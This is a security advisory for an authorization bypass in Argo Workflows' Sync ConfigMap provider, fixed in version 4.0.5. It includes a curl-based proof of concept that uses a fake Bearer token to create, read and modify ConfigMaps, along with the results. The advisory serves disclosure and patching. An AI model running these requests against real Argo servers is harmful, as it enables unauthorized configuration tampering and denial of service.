CVE-2026-42297

### Summary The Sync Service's ConfigMap-backed provider (`server/sync/sync_cm.go`) performs **zero authorization checks** on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. ### Details The ConfigMap-backed provider (`server/sync/sync_cm.go`) has no `auth.CanI` checks: ```go // sync_cm.go — UNPROTECTED func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) { // NO auth.CanI check kubeClient := auth.GetKubeClient(ctx) configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace) // ... directly creates/updates ConfigMaps } ``` - `server/sync/sync_cm.go` — lines 23-155 - All four SyncService endpoints: `CreateSyncLimit`, `GetSyncLimit`, `UpdateSyncLimit`, `DeleteSyncLimit` ### PoC ### Prerequisites - Argo Server running with `--auth-mode=server` - Port-forward: `kubectl port-forward -n argo svc/argo-server 2746:2746` ### Step 1: Create Sync Limit (Fake Token) ```bash curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}' ``` **Result:** `{"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}` Verify ConfigMap was created in Kubernetes: ```bash kubectl get configmap test-sync -n default ``` ``` NAME DATA AGE test-sync 1 74s ``` ### Step 2: Read Sync Limit (Fake Token) ```bash curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \ -H "Authorization: Bearer fake-token" ``` **Result:** `{"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}` ### Step 3: Update Sync Limit (Fake Token) ```bash curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \ -H "Authorization: Bearer fake-token" \ -H "Content-Type: application/json" \ -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}' ``` **Result:** `{"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}` Verify the ConfigMap was actually modified: ```bash kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}' ``` ``` 999 ``` ### Impact An attacker with network access to the Argo Server can: 1. **Denial of Service** — Set sync limits to `0` or `1`, blocking all parallel workflow execution 2. **Workflow Disruption** — Modify existing sync limits to break running workflows 3. **Information Disclosure** — Read ConfigMap data that may contain sensitive configuration 4. **Arbitrary ConfigMap Manipulation** — Create/delete ConfigMaps in any namespace accessible to the server's service account ## Related CVEs - **CVE-2026-28229** (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing `auth.CanI` check) - **CVE-2024-53862** (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5.

Argo has Missing Authorization in its Sync ConfigMap Provider in github.com/argoproj/argo-workflows